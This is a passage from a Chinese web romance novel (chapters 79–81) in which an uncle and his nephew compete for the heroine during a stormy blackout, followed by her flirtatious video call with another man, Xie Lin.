随手将额发撩到脑后,英俊立体的五官尽数显露, 有雨水顺着他硬朗的脸不断落下,此时的他有种湿漉漉的性感。 那双锐利的凤眸先是冷冷地钉了眼方镜麒,然后才落到姜以柔身上, 他的眸光微不可查地软了几分, 低声问道“没事吧。” “没事。”姜以柔笑着摇了摇头,有些意味深长地说道,“你侄子……挺热情的。” 想起从电话里听到的对话内容,方隐年也沉默了, 大概是在消化这尴尬的场景。 方镜麒见到两人面对面似乎聊得很融洽, 当即不爽地眯了眯眸子。他迅速上前,一步挡在姜以柔身前,将她遮得严严实实。 “方隐年, 你能不能别老是阴魂不散的!”方镜麒沉着脸与他对视,凤眸中是分毫不让的强势。 方隐年顺势望向他, 幽黑的眸中隐隐积蓄着怒意, 尤其是在看到他赤祼的上半身时。 他深吸一口气,冷眼盯着自家侄子,沉声道:“跟我回去。” 方镜麒倨傲地扬了扬下巴, 冷笑一声,道:“我不走。” 方隐年眸光骤沉,一步跨进门内,直冲方镜麒而去,似是要强行将他带走,高大的身躯和沉凝的面色极富压迫感。 方镜麒垂在身侧的左手瞬间捏成拳,非但不惧,反而勾起一个跃跃欲试的冷笑,“怕你不成?” 就在他们即将交锋时,身后传来姜以柔懒散的嗓音: “我父母和小渔都睡了,你们要是敢吵醒他们……”姜以柔的嗓音依旧温柔而动听,如同三月莺啼,但话中的警告意味十分明显。 她简单的一句话,就让这对剑拔弩张的叔侄俩瞬间停住了脚步。 方镜麒的神情一阵变幻,面上竟显出几分犹疑。 恐怕也只有姜以柔能一句话制住这个放肆跋扈的大少爷了。 方镜麒咬了咬牙,片刻后,竟主动后退了一步,这还是他第一次在方隐年面前示弱。 但有一件事他咬死了不松口,“我是不会回去的。” 方镜麒刻意压低了声音,威胁道:“你赶紧走,别逼我动手……” 方隐年静静地盯着他,沉默片刻后,突然问道:“你真不回去?” 方镜麒冷哼一声,不耐烦地说道:“废话!” 好不容易能留宿姜以柔家里,哪怕……哪怕没法跟她发生些什么,他也绝不会走。 他只想离姜以柔近一点,更近一点。 方隐年缓缓闭了闭眼,似是十分无奈,片刻后,他点了点头,“好。” 竟是同意了方镜麒留在这里。 方镜麒得逞般扬了扬唇角,迫不及待地催促道:“行了,你赶紧回去吧。” 然而,方隐年却并没有转身离开,反而施施然向前迈了一步,他看向姜以柔,一字一句认真道: “姜小姐,今晚方便让我借宿吗?” 既然方镜麒不肯走,那他就留下来看着他。 他绝对不会留方镜麒和她单独相处。 姜以柔:“……” 等等,你不是来接方镜麒的吗?怎么莫名其妙也要住下来了?! 方镜麒也愣了一瞬,立刻火冒三丈,怒声道:“你凭什么住啊?!” 姜以柔也面露难色:“我家就一张沙发……” 方隐年表情平静,淡声开口道:“住宿费我会多给一点的。” 闻言,姜以柔眨了眨眼睛,立刻改了口风,温柔又热情地招呼道:“方总,快请进吧,正好外面下着那么大的雨,回去多危险呀……” 仿佛刚才不情不愿的人,并不是她。 方镜麒不敢置信地瞪大了一双凤眼,愤怒又委屈地小声质问道:“姜以柔,你怎么能这样……” 他刚刚还在为自己能留在她家而窃喜,转瞬间却要跟别人分享这份隐秘的喜悦…… 这让他怎么甘心?! 姜以柔转过头,嗔怪地瞪了他一眼,“方同学,他好歹是你小叔,你忍心看他冒着这么大的雨回去吗?” 方镜麒恨恨地磨了磨牙—— 他不但忍心,还乐见其成呢! 然而,根本没有他抗议的余地,姜以柔已经把方隐年迎进了屋。 方镜麒只能咬牙切齿地瞪着方隐年,狭长上挑的凤眸中燃着灼灼的怒意与不甘。 方隐年反手关上房门,迈步进了屋。 很快他便停下脚步,低头看着自己身上滴下来的水弄脏了地板,他微微皱了下眉,沉声道:“抱歉,我会把地板清理干净的。” 姜以柔低头看着他带进来的一地水迹,若有所思地摸了摸下巴,说道:“你都湿透了,赶紧洗个热水澡吧,不然要感冒。” 说着,她翻出一身男士衣物,微笑着递到方隐年面前,说道:“这是谢凛的衣服,你先穿着吧。” 方隐年:“……” ……穿谢凛的衣服? 方隐年不知想到了什么,表情一时间有些古怪,连方镜麒也嘴角微抽,不知道该说什么。 场面一时间非常尴尬。 “快拿着呀。”姜以柔把衣服往前递了递,催促方隐年赶紧接过。 方隐年垂眸盯着她手里的衣物,眸光中涌动着复杂的暗色。 他不愿意去想,姜以柔的家里留着谢凛的衣服意味着什么,但凡深想……他便很难控制心底的躁意。 方隐年不由得紧了紧拳头,他默默地偏过头,语气冷淡地说道:“不用了。” 姜以柔轻轻“啧”了一声,不客气地白了他一眼,哼道:“那你打算洗完澡之后穿什么?继续穿你的湿衣服吗?那这澡不是白洗了?” “还是说……”姜以柔意味深长地挑了挑眉梢,语带揶揄道,“你打算跟你侄子一样祼着?” 话落,方家叔侄双双脸色微变。 方镜麒剑眉一竖,不爽地嘀咕道:“骂他就骂他,扯我做什么?再说了,我祼着又怎么了,你刚才不是摸得挺开心……” 方隐年深吸一口气,隐忍地闭了闭眼睛,实在听不下去侄子说的那些蠢话。 他定定地看了会儿姜以柔手里那属于另一个男人的衣物,终于缓缓接过。 进浴室之前,方隐年特意转身盯着方镜麒,用不容置喙的语气沉声道:“衣服穿好。” 说完,他便头也不回地进了浴室。 方镜麒两眼冒火地盯着他的背影,恨得直咬牙。 他胸膛剧烈起伏着,委屈又愤怒地瞪着姜以柔质问道:“你为什么要让他留宿?” 姜以柔随口应道:“他付了住宿费啊!” 方镜麒愣住了,随即不敢置信地反问道:“就为了这点儿钱?” 姜以柔淡淡地瞥他一眼,没说话。 果然是富贵窝里长大的少爷,一点儿都不懂她总是缺钱花的烦恼。 方镜麒咬了咬牙,低声道:“我给你双倍的钱,你现在让他走!” 姜以柔困倦地打了个哈欠,漫不经心地安抚道:“大少爷,外面那么大的雨,别折腾了,你们俩一起在沙发上凑合一晚就行了。” 方镜麒面色阴沉,仍想再说些什么,姜以柔却懒得再敷衍他。 姜以柔径直走向厨房,打算给自己倒一杯水。 她刚拿起杯子,却突然间眼前一黑,而且是那种伸手不见五指的浓黑,仿佛要将人吞噬一般。 姜以柔心头一跳,精神下意识地紧绷起来。 她很快就反应过来——应该是因为下暴雨而停电了。 与此同时,方镜麒不满的嘀咕声也传来:“怎么停电了?” 姜以柔刚想答话,下一秒,一道震耳欲聋的雷声轰然劈下,像是要将整个世界都劈碎。 姜以柔本就因为停电而有些紧张,此时猝不及防间被雷声一吓,不由得惊叫了一声。 她手一抖,握在手里的水杯乍然落地,响起一道清脆的碎裂声。 姜以柔甚至能感觉到有碎瓷片溅到了她的脚面上,带来些微的痛意。 她整个人都僵在了原地,一步都不敢动,生怕不小心踩到碎瓷。 她其实并不太害怕打雷,但今晚的雷声格外恐怖,偏偏家里又停电,纯粹的黑让一切都变得不可控起来,自然而然滋长了内心的不安。 方镜麒隔着老远就听到了东西摔碎的声音,立刻出声问道:“姜以柔,你没事吧?” 姜以柔没说话,呼吸声有些急促,她下意识地伸出手,想要抓住点什么,好让自己安心。 方镜麒一边询问,一边往她的方向赶来。但周围太黑了,他时不时就会撞上什么,偶尔能听到他的抱怨。 很快,浴室门被拉开。 然后姜以柔听到了近在咫尺的脚步声。 姜以柔清晰地感觉到有人带着湿热的水汽朝她靠近,她迫不及待地伸出手,就像是溺水之人想要抓住一个支撑。 下一秒,她便抓住了一个结实的手臂。 掌中的躯体有一瞬间的僵硬,但很快,他便继续靠近了她。 方隐年很克制,也很平静,任由姜以柔抓着他的手臂,自己却没有主动触碰她。 他只低低地说了一句,“别怕。” 低醇磁性的嗓音传入耳中,让姜以柔安心了不少,当然,她握住的那截结实的小臂更让人有安全感。 但是,惊雷一道连着一道,衬得漆黑的周围更像是要吞噬人的地狱,姜以柔总觉得心里发毛。 终于,她忍不住上前一步,轻轻靠在了方隐年的胸膛上,试图将自己缩进他怀里。 不过下一秒,她就愣住了。 她的手直接触到了温热而带着湿意的皮肤,整个人被热意笼罩着。 姜以柔不由得有点懵—— 她不是给方隐年找了衣服吗?他怎么没穿? 而随着她的靠近,方隐年的身体骤然绷紧,呼吸声也带了几分急促。 恰在此时,方镜麒也在摸索着朝她靠近。 大少爷时不时撞到各种家具,嘴上还不忘安慰她,道:“你在哪儿?别怕,我现在就过去找你。” 姜以柔摸着方隐年赤祼的上身:“……” 她现在倒是不害怕了。:) 第79章 雨夜, 雷声,停电。 姜以柔已经从一开始的惊吓中缓过神来,随即涌上的是一种古怪的心情。 当她忍不住缩进方隐年的怀中时, 竟然惊讶地发现——他并没有穿上谢凛的衣服,至少上衣没穿。 估计是听到她的惊叫后,什么都来不及做, 第一时间就出来找她了。 姜以柔一抬手就能摸到那温热紧致的肌肤, 每一处起伏的肌肉都蕴着力量感,他身上还携着湿热的水汽, 熟悉的沐浴露香和他身上淡淡的檀香气相混,让人格外安心。 同时……也格外格外暧昧。 姜以柔一手搂着他的手臂,另一只手恰好按在他的胸口。 她甚至能感觉到掌下那越发剧烈的心跳声。方隐年胸膛的热度透过掌心传来, 烫得她有些不自在。 姜以柔第一次发现, 看上去冷漠如冰的方隐年,身体竟然这么烫。 姜以柔睫羽轻颤,指尖不自觉蜷了蜷,刚好勾过那健壮的胸口。 下一秒, 她的手腕被猛地攥住。方隐年掌心炙热, 圈住她手腕的力道越来越重。 不知是想阻止她乱动,还是想牢牢地箍住她。 姜以柔几乎整个人都被方隐年笼罩了,头顶就是他略显急促的喘息声。 这一瞬间, 姜以柔莫名有种感觉,她就像是一只被野兽按在爪子下的兔子, 无处可逃。而方隐年就这样居高临下地俯视她、钳制她, 张嘴就能将她吃掉。 偏偏这是她主动靠过去的,也算是一种自投罗网。 气氛悄然升温间,方镜麒也在慢慢靠近。 “姜以柔, 你在哪儿?”方镜麒轻声喊道,语气里带着几分担忧。 他循着记忆中姜以柔的方位,摸索着不断靠近,虽然中途也撞到过不知什么东西,但他已经离姜以柔越来越近了。 姜以柔听到了他的询问,却没有第一时间应声。 她有些僵硬地靠在方隐年的怀里,两人像是在对峙一般,谁都没有先动。 绝对的黑暗藏住了他们的表情,也藏住了他们的心事,更有一些莫名的思绪在心里发酵、酝酿。 “姜以柔?”方镜麒疑惑地再次喊了一声。 这一声终于唤回了姜以柔的心神,她跟方隐年之间那种暗潮涌动的氛围也被打破了。 姜以柔深吸一口气,定了定心神,轻声应道:“我在这里。” 当姜以柔出声以后,已然离她很近的方镜麒立刻锁定了她的方位,很快就来到了她旁边。 方镜麒试探地伸出手,低声道:“你害怕吗?拉着我的手吧。” 姜以柔不由得笑了笑,“我不怕。” 方镜麒不说话了,却执拗地依旧试图抓到她。 下一秒,倒真让方镜麒误打误撞地抓住了她的另一只手臂。 方镜麒呼吸一紧,声音里都带了几分雀跃,说道:“姜以柔,我找到你了,别怕。” 姜以柔:“……” 我不是说了吗,我现在不怕…… 方镜麒抓住她的手臂后犹不满足,竟然试图将她扯进怀中。 方镜麒似乎咽了咽口水,他的声音有些紧张,强自镇定地解释道:“你到我怀里就不会再怕了。” 姜以柔:“……” 所以说我真的不害怕了,这小子到底有没有听她说话! 黑暗似乎也滋长了方镜麒的野心,让他有种蠢蠢欲动的进攻性。 他拽着姜以柔的手臂,微微用力一拉——姜以柔原本紧靠在谢凛的胸膛上,这下猝不及防地被扯开了。 那种被强健炙热的男人身躯紧紧包裹的感觉,瞬间褪去。 姜以柔踉跄了一步,身体被拽得往方镜麒那边偏去。 就在她即将彻底脱离方隐年的怀抱,转而投向方镜麒更为年轻莽撞的怀抱中时—— 下一秒,姜以柔的腰上突然横了只强有力的手臂。 在她即将被方镜麒抢过去的时候,方隐年几乎是本能般地箍住了她的腰。 这是方隐年最真情流露的一瞬间,他属于男人的野心和胜负欲暴露无遗。 他不允许姜以柔被抢走。 姜以柔一时间愣住了,鲜少有如此无措的时候。 此时此刻,伸手不见五指的黑暗里,方镜麒这傻小子一心想把她扯进怀里,却根本没发现她本就被另一个男人揽在怀中。 而方隐年全程一声不吭,像尊沉默的,没有灵魂的雕像。 可这座“雕像”会在她即将离开的时候猛然出手,像是凭本能护食的狼,那沉默中透出的强势令人心惊。 姜以柔就这样被夹在叔侄俩中间,一个要把她往怀里抢,另一个却不肯放手。 姜以柔一时间沉默了,罕见的有种不知所措的感觉。 方镜麒试了两次都没把她拽进怀中,还以为是姜以柔自己在抗拒,他抿了抿唇,低声抱怨道:“我只是想抱抱你而已,没想做别的……” 说着,他试探性地继续发力。 方镜麒以为自己在试探姜以柔的底线,但实际上,他试探的是方隐年的底线。 两股不同的力道拉扯着姜以柔,她有些不适地痛嘶了一声。 就在这一瞬间,方隐年猛地松开了箍住姜以柔的手臂。 ——姜以柔的一声痛呼,让方隐年主动选择了退让。 方隐年有些颤抖地收回手,略显急促的呼吸慢慢平稳,又变回了那一汪平静的深潭。 刚才跟方镜麒针锋相对的较劲,更像是方隐年一时失控下的冲动。 谁也不知道他经历了怎样的挣扎与权衡,才最终选择了松开姜以柔的手。 理智回笼,他又变回了那个冷静到近乎淡漠的方隐年,克制得如一尊无欲无求的神佛。 黑暗中,方隐年隐忍地闭了闭眼睛,任凭自己的心连同身体一起被黑暗吞噬。 他需要拼尽全力,才能克制住把姜以柔抢回来的冲动。 姜以柔腰上的桎梏乍然消失后,她有些惊讶地眨了眨眼睛,似乎没想到方隐年会主动退让。 而方镜麒也听到了姜以柔的痛呼声,他并不知道姜以柔同时在被方隐年拉扯着,只意味是自己劲儿太大了。 他连忙松了松姜以柔的手腕,只虚虚地握着,同时紧张地关心道:“我弄疼你了吗?我轻一点……” 姜以柔的心情有些复杂,一时间也不知道该怎么解释。 方镜麒见她不说话,又大着胆子继续轻轻拉她—— 下一秒,姜以柔又被另一具火热的躯体揽入怀中。 方镜麒紧紧抱着她,像是抢到了最珍贵的宝物,爱不释手。 年轻人火力旺,方镜麒的体温甚至比方隐年还要高一点,像是一个小火炉,就是抱着她的时候力道有些没轻没重的。 就在这时,不远处突然传来房门被打开的声音,把姜以柔吓了一跳。 “小柔,你在外面吗?”姜母的声音传来,带着被吵醒的迷糊,随即是她疑惑的反问,“咦,这灯怎么打不开了?” 姜以柔心中一紧,明知道姜母看不清这一切,却还是害怕她和方镜麒抱在一起的这一幕被看见,下意识地挣扎起来。 但方镜麒这个混小子天不怕地不怕的,稳稳地抱着她,一点儿不松手。 姜以柔最后只能放弃挣扎,尽量平静地说道:“停电了,我出来倒杯水喝,吵醒你了?” 姜母“嗯”了一声,“我听见外面有动静,就出来看看。” 姜以柔深吸一口气,温声安抚道:“没什么事,你回去睡吧。” “那你也赶紧睡哈,大晚上的别瞎折腾了。” “好。” 等到姜父姜母的卧室门被重新关上,姜以柔这才松了口气。 她气得狠掐了方镜麒一下,“你胆子也太大了!” 方镜麒皮糙肉厚的,根本就不在乎,混不吝地说道:“怕什么,反正停电了。” 他话音刚落,突然间灯光大亮——来电了。 突如其来的光亮有些刺激,他们都忍不住眯了眯眼睛,等到适应了这亮度后,他们终于看清了周围的景象。 方镜麒第一时间先观察怀里的姜以柔,见她没什么大碍,才松了口气。 但下一秒他就愣住了,眉头猛地皱起。 他竟然一直没发现——方隐年就站在他们不远处。 方隐年浑身湿漉漉的,头发都还在滴水,最离谱的是,他居然只围了一条浴巾就出来了! 方镜麒很警惕地挡住姜以柔,不想她看见别的男人的身体,同时皱眉瞪着他:“你怎么也不穿衣服?你还好意思说我?” 方隐年面无表情地盯着方镜麒,此时他正紧紧搂着姜以柔,两人的姿势很是亲密。 方隐年沉默不语,那双睨过来的凤眸却蕴着深不见底的寒意,片刻后,他转身径直进了浴室。 方镜麒盯着他的背影,默默地翻了个白眼,“莫名其妙。” 过了没一会儿,方隐年就从浴室里出来了,这次他穿上了属于谢凛的T恤和长裤,跟他平日里的风格差别很大,倒是显得年轻了不少。 姜以柔打了个哈欠,说道:“客厅就一个沙发,你们自己决定怎么睡吧,我先回房了……” 姜以柔刚要离开,方隐年却突然拦住了她。 姜以柔眨了眨眼睛,好奇地问道:“有事?” 方隐年低头看了眼她的脚背,沉声道:“你的脚受伤了。” 姜以柔低头一看,这才发现她的脚背被飞溅的碎瓷片划出来一道很浅的伤口,渗出些许血迹。 那一线殷红在她白皙的脚背上格外刺眼。 姜以柔翻出医药箱,坐到了沙发上,很是自然地指使道:“帮我上一下药吧,谢谢。” 方镜麒主动凑上前说道:“我帮你上!” 然而,姜以柔却毫不留情地拒绝了,她翻了个白眼,说道:“你歇着吧。” 这小子粗手粗脚的,她不想用。 最终,方镜麒只能满脸不忿地站在一旁,虎视眈眈地盯着方隐年给姜以柔上药。 当姜以柔把医药箱交到方隐年手中时,他有一瞬间的沉默,似乎在犹豫。 这时,姜以柔已经坐在沙发上,翘起脚等着他了。 方隐年不动声色地吐出口气,一步一步走到她面前。 他居高临下地打量着姜以柔,她长发披散,潋滟的眸中漾着些许困倦的水光,像一只慵懒的猫。 她冲方隐年笑了笑,软声道:“方总,麻烦你了。” 方隐年盯着她看了许久,眼瞳微颤,似是被灼伤般移开了视线。 他屈膝半蹲下身体,这时,姜以柔很自觉地把脚踩在了他的膝盖上。 方隐年微微一怔,一时间竟有些不敢动。 那只脚很小,白皙温润得如同美玉雕成,甚至有种脆弱感,就这么踩在他的膝盖上,却像是直接踩在了他的心尖。 让他的一颗心不争气地狂跳起来。 方隐年眸光微沉,呼吸有些发紧。他闭了闭眼睛,努力保持着冷静。 旁边,方镜麒也不由得怔怔地看着姜以柔的脚,当看到她踩上方隐年的膝盖时,嫉妒得几乎眼里要喷出火来。 他死死盯着那两个人,尤其是方隐年,暗自发誓但凡方隐年敢动手动脚……他绝不会放过他! 方镜麒垂在身侧的手死死捏成拳,咬牙切齿地暗自道。 方隐年比他想象得更冷静。他拆出一根棉签,沾了碘伏之后,轻轻地涂抹在那道浅浅的伤口上。 他全程没有主动去触碰姜以柔的身体,礼貌而克制地跟她保持着距离。 姜以柔自然也发现了这一点,她懒散地靠在沙发上,饶有兴味地打量着方隐年,目光从他英俊但冷淡的脸,下落到他修长有力的手。 那双手刚才箍住她的腰时,是很有劲儿的,现在给她上药的时候,却要多轻柔有多轻柔。 姜以柔不动声色地勾了勾唇角,笑得意味不明。 就在这时,她的手机突然震动起来。 姜以柔从兜里拿出手机,一看来电显示就愣住了,竟然是谢凛打来的电话。 姜以柔没多想,直接接了起来,“喂,谢凛?” 此话一出,方隐年上药的动作微不可查地一滞,方镜麒也瞬间警惕地眯起眼睛,直勾勾地盯着她。 姜以柔恍若未觉,十分坦然地跟谢凛通着电话。 “那边下大暴雨了,你怎么样?”谢凛低磁的声音透过手机传来,有些失真,但依旧很好听。 姜以柔不自觉拖长了嗓音,语气很自然带了些撒娇的意味:“我在家呀,能怎么样?就是刚才突然停电,把我吓坏了。” 手机那头沉默片刻,又传来谢凛低沉的嗓音:“我会尽快赶回去的。” 姜以柔一想起刚才打雷又停电时的慌乱,就忍不住有些埋怨谢凛不在身边,她轻哼一声,道:“等你回来,雨早就停了。” 她似乎忘了方家叔侄俩还在,旁若无人地跟谢凛撒着娇。 他们俩越是聊天,方镜麒的脸色就越难看,方隐年上药的动作也越来越慢,一道小伤口,倒像是没完没了。 好在很快,姜以柔就有些不耐烦了,她说道:“太晚了,我要睡觉了,先挂了吧。” 在她挂断电话之前,谢凛突然问道:“你上药了吗?” 姜以柔愣了愣,“什么?” 她下意识地看了眼自己的脚,第一反应是,难不成谢凛有千里眼,竟然知道她的脚受伤了? 然而她误会了。 谢凛轻笑一声,带着丝暧昧的亲昵,嗓音也有些哑,问道:“昨天不是还抱怨我太粗鲁了,给你买的药膏没用吗?” 谢凛问得还算隐晦,但也不是那么难懂。 至少他说完这句话后,方隐年骤然僵住了,空气瞬间凝固。 姜以柔愣了好一会儿,等她反应过来他在说什么时,双颊瞬间漫上一层红霞,如花般娇艳欲滴。 第80章 姜以柔怎么也没想到, 谢凛这么寡言又沉稳的男人,竟然能说出如此狎昵暧昧的话。 果然男人一旦开荤后,就会变得很不一样。 如果是正常情况下, 姜以柔完全不介意跟谢凛在电话里调情。只要她有兴致,她甚至可以三两句话勾得谢凛连夜赶回S市。 可关键是……方家那对叔侄还在呢! 方镜麒离得远,不一定能听得见谢凛说的话, 但方隐年就在她面前, 绝对能将谢凛那番暧昧的话听得清清楚楚?! 因为…… 谢凛说完那句话后,姜以柔明显感觉到, 方隐年的身体骤然绷紧了,她脚下踩着的大腿,肌肉瞬间硬得像铁一样。 方隐年垂头盯着她的脚, 给她上药的那只手却一动不动, 手背上绷起隐忍的青筋,呼吸也悄然急促起来,像是被挑衅后艰难压抑着怒火的野兽。 姜以柔一瞬间被他身上逸散的戾气吓到了,受惊般猛地把脚往回缩。 然而下一秒, 方隐年却迅疾出手, 一把攥住了她的脚踝。 他手掌宽大,可以轻松圈住姜以柔的脚腕还有余地,那掌心滚烫炙热, 不断收紧的力道有种无声的强势,莫名让人心惊肉跳。 明明刚才给她上药的时候还很克制, 全程都没有碰到她, 可他的理智和冷静被打碎了,就在这一瞬间。 姜以柔被他掌心的温度烫得轻轻一颤,只觉得那股热意顺着脚踝一路往上, 激得她心口不自觉狂跳起来。 偏偏此时,手机里继续传来谢凛低磁的嗓音,说出的话依旧是不该为外人所知的亲密:“怎么不说话?是自己不方便上药吗?那等我回去……” 姜以柔又羞又窘又气,娇喝着打断了他:“谢凛!” 方隐年依旧沉默着低着头,似乎情绪很稳定,然而他攥着姜以柔脚踝的手却越收越紧,伴着他隐隐急促的呼吸声,就像座压抑到极致的活火山,随时要爆发。 姜以柔轻轻咬着下唇,只觉得心慌意乱,整个人都快要烧起来了。 她的第一反应就是赶紧逃。 谢凛这个混蛋不知道还要说出什么破廉耻的话呢,绝不能再让方隐年听见! 姜以柔用力挣了挣,想把自己的脚抽回来,然而脚腕上箍着的那只手硬如铁钳,非但让她动弹不得,还生出种要被拖入深渊的恐惧感。 姜以柔一时间有些恼,她干脆不再挣扎,反而狠狠一脚朝方隐年踹过去。 方隐年本就在拉拽她,姜以柔这一踢倒是顺了他的势,一脚就蹬在了他的胸口上方,贴近锁骨的位置。 白嫩柔软的足直接触上了方隐年微烫的皮肤,他猝不及防挨了一脚,一时间有些身形不稳。 方隐年微微一怔,连凤眸中翻涌的暗色都凝滞了一瞬。 那不轻不重的一脚踢过来时,方隐年根本感觉不到丝毫痛意,他只觉得被姜以柔踢到的那片皮肤仿佛似乎有电流经过。 那种酥麻的颤意一直蔓延进他心里。 方隐年怔怔地抬头,正对上姜以柔嗔怒中带着羞意的脸。 那张脸已经美得惊心动魄,此时漫上动人的红霞,更加娇艳欲滴,那含嗔带羞的潋滟眼波直勾勾地瞪着他,却没有丝毫威慑力,只会勾起人心底最深处的躁动。 方隐年紧紧盯着她,眸色骤深,狭长的凤眸中翻涌着几欲噬人的暗色。 他不知想起了什么,喉结明显滚动了下,怔松间,抓着姜以柔脚踝的手不自觉松了松。 姜以柔抓住机会,立刻将脚从他手里抽了出来。 她连拖鞋都没来得及穿,猛地从沙发上弹起,慌乱地跑进了卧室,像只受惊炸毛的猫。 这一切都发生在转眼的瞬间。 他们之间那种若有似无的暧昧黏稠还没来得及酝酿,便因为姜以柔的匆匆离去而消散无形。 一切都发生得太快了。 在姜以柔把脚抽离后,方隐年甚至仍保持微抬着手的动作,久久无法回神。 似乎仍沉浸在一场幻梦中。 全程只有方镜麒一个人在状况外。 他离得比较远,听不见谢凛在手机里说的话。 在他的视角里,就是姜以柔讲着讲着电话,突然踹了方隐年一脚,就红着脸离开了。 方镜麒若有所思地眯了眯凤眸,他两步跨到方隐年面前,居高临下地打量着他。 然后他发现,方隐年此时竟然在出神—— 这状态明显很不对劲! 方镜麒心中一凛,冷声质问道:“你刚才做了什么?” 他冷冽的嗓音瞬间唤回了方隐年的思绪,方隐年伸出的那只手缓缓捏紧,仿佛仍在回味那细瘦脚腕的触感。 方隐年深吸一口气,勉强压下了体内的躁动,他缓缓站起身来,却懒得跟侄子解释什么,转身便要离开。 方镜麒面色一沉,横跨一步挡住方隐年的去路,垂在身侧的手捏得咔咔作响,似乎随时要抑制不住揍人的冲动。 “方隐年,我警告你,你要是再敢来坏我的事……”方镜麒恶狠狠地瞪着他,从牙缝里一字一句挤出这些威胁。 方隐年仍有些神思不属,闻言淡淡地瞥了眼暴躁任性的侄子,低声道:“很晚了,别吵。” 他说的话很简单,却也蕴着另一层警告: 如果方镜麒吵醒了姜以柔的家人,后果自负。 方镜麒一噎,愤恨地咬了咬牙。 但一想到刚才姜母就被他们吵醒过,方镜麒也有所顾忌,只能憋屈地闭了嘴,但眼神仍像刀子似的射向方隐年。 叔侄俩沉默地对峙良久,两双相似的凤眼昭示着他们血缘的亲近,可此时望向对方的眸光中却是全然陌生的冷意。 黑夜凝滞,只有窗外的风雷雨声格外清晰。最终,他们不约而同地移开了视线,似乎多看对方一眼都嫌多余。 两人都若有似无地瞟了眼姜以柔的房门,她的卧室门紧闭,不知道有没有反锁。 但是……即便这扇门可以被叩开,他们也绝不会允许对方踏进去一步。 半晌,方隐年疲惫地揉了揉眉心,低声道:“睡吧。” 方镜麒闻言面色有些古怪,他瞟了眼客厅里唯一的长沙发,冷冷地哼了一声。 就这么一张破沙发,他们两个快一米九的男人,怎么睡? 方镜麒原本做好了熬一整晚的准备,但方隐年却主动坐到了另一张较窄的单人沙发上。 方隐年冲他扬了扬下颌,示意他去睡那张长沙发。 其实那张长沙发对方镜麒来说也伸不开腿,但至少比在单人沙发上坐一晚要舒服多了。 方镜麒挑了挑眉梢,毫不客气地躺在了沙发上。 至于他身为侄子会不会心疼方隐年……呵呵,不存在的。 谁让他非要跟他一起留宿,受再多罪也是他活该! 方镜麒躺在沙发上,整个小腿几乎都支在外面,高大的身躯微微蜷缩,显得有些可怜。 他有些烦躁地皱了皱眉头,随手扯过姜母准备的被子盖在身上,强迫自己闭上眼睛。 方隐年起身去关了灯,然后沉默地坐回单人沙发上。 室内陷入一片黑暗,只有偶尔打闪时会透进些许亮光。 方隐年靠坐在沙发上,两条长腿随意交叠,他单手撑额,缓缓闭上了眼睛。 随着时间的推移,没心没肺的方大少很快陷入了梦乡,他的呼吸声明显变缓变沉了。 过了一会儿,方镜麒微微一动,盖在身上的被子落了地,露出大片赤祼的胸膛。 看似沉沉睡去的方隐年缓缓睁开眼睛,他默默地望向方镜麒,有些无奈地叹了口气。 他站起身,轻轻走到他身边,俯身拾起地上的被子,重新盖回了他的身上。 客厅里的方家叔侄很快便安静下来,但另一边,姜以柔拿着手机逃回卧室后,并没有立刻睡觉,而是继续跟谢凛打着电话。 姜以柔光着脚跑回屋,第一件事就是反身锁上房门。 她背靠在门板上,心有余悸地小口喘着气,过了一会儿,才感觉脸颊上的热度降了一些。 这时,谢凛已经因为她长时间的沉默而感到有些奇怪。 “你怎么了?”谢凛的声音嗓音微沉,似是从她怪异的态度中察觉到了不对劲。 姜以柔缓了缓神,刚从方隐年那个极具侵略性的抓脚踝的动作中反应过来,此时听到谢凛的发问,心里瞬间涌上股恼意。 “混蛋,你刚才乱说什么?!”姜以柔轻咬着唇瓣,恨恨地抱怨道。 她嗓音娇柔如莺啼,哪怕是生气,也像是在撒娇,但此时她语气中实打实地带了怒意。 她的反应让谢凛沉默了一会儿,然后谢凛做了一个出乎意料的举动—— 他把电话挂断了。 姜以柔愣愣地看着被挂断的通话,还没来得及生气,下一秒,谢凛的通讯又几乎无缝衔接地打了进来。 只不过这次是视频通话申请。 姜以柔抿了抿唇,心里仍有些生气,但还是接起了这个视频通话。 只是她微微皱着眉头,一副不太开心的模样。 手机里旋即出现了谢凛放大的俊脸。 他一身西装革履,黑发全都梳到脑后,全然没了拳台上肆意的野性,倒是显出几分斯文。 谢凛紧紧盯着她的脸,在认真观察她的表情,随即沉声问道:“你生气了?” 姜以柔冷哼一声,算是默认。 谢凛薄唇微抿,认真地说道:“如果你不喜欢我那么问……我以后就不说了。” 谢凛黝黑的眸子直勾勾地盯着她,认错态度十分良好。 姜以柔盯着手机里谢凛放大的俊脸,听着他有些笨拙的轻哄,心里的火气慢慢消散了。 其实……她不是不喜欢谢凛说那些话,只是刚才有别人在而已。 如果只有他们两个人的话,她当然不介意。 姜以柔不期然回想起谢凛刚才狎昵暧昧的话,脸颊不由得又红了红。 她的情绪来得快去得也快,脸上的愠怒已然褪去,反而开始盯着穿西装的谢凛看个不停。 姜以柔眨着眼睛笑了笑,说道:“你今天又穿了西装?好帅呀。” 谢凛微微一怔,似乎没想到她这么快就消气了,他冷硬严肃的面色柔和下来,轻笑着反问道:“你喜欢?” 姜以柔托着腮,潋滟的眸子紧紧盯着他,“喜欢。” 谢凛定定地回视她,喉结似乎滚了滚,良久,嗓音微哑地说道:“回去穿给你看。” 哪怕是隔着手机屏幕,两人的眼神仿佛黏在了一起,对视间,暧昧的气息肆意蔓延。 姜以柔眨了眨眼睛,柔声问道:“你怎么这么晚了还打电话过来?” “听说那边下大暴雨,担心你。”谢凛答完后顿了片刻,又哑声继续道,“还有……想你了。” “想我?”姜以柔玩味地挑了挑眉梢,轻笑着反问道,“你怎么证明你想我了?” 谢凛愣了愣,一时间倒是被她问住了。他斟酌着询问道:“你想我怎么证明?” 姜以柔微微眯了眯眼睛,媚眼横波间像只吸人精气的妖精。 她轻笑一声,近乎蛊惑地说道:“谢凛,你把这身西装脱了吧。” “我想看看……你有多想我。”《 》 80-90 第81章 【本章请关注段评】 姜以柔的话语很轻, 却仿佛一粒石子投入原本平静的湖面,瞬间激起阵阵涟漪。 谢凛稍显怔愣,等反应过来她话中的意味后, 眼神立刻就变了。 那双狭长的黑眸微微眯起,眸底有汹涌的暗火在烧,直至燎原, 几乎将他的理智燃尽。 他薄唇微抿, 下颌绷出隐忍的弧度,凸起的喉结缓缓滚动了下, 像是野兽进食前的蓄势。 “你……什么意思?” 再开口时,谢凛的嗓音哑得不成样子,立刻将姜以柔带回了那个晚上。 谢凛强健的身躯压在她身上时, 